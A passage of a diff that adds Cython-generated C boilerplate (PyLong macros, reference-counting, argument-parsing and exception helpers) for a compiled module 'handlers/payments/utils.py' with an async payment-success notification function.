(likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/utils.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; + +/* "handlers/payments/utils.py":8 + * + * + * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< + * try: + * builder = InlineKeyboardBuilder() + */ +struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification { + PyObject_HEAD + double __pyx_v_amount; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_e; + PyObject *__pyx_v_user_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* ArgTypeTest.proto */ +#define __Pyx_ArgTypeTest(obj, type, none_allowed, name, exact)\ + ((likely(__Pyx_IS_TYPE(obj, type) | (none_allowed && (obj == Py_None)))) ? 1 :\ + __Pyx__ArgTypeTest(obj, type, name, exact)) +static int __Pyx__ArgTypeTest(PyObject *obj, PyTypeObject *type, const char *name, int exact); + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* 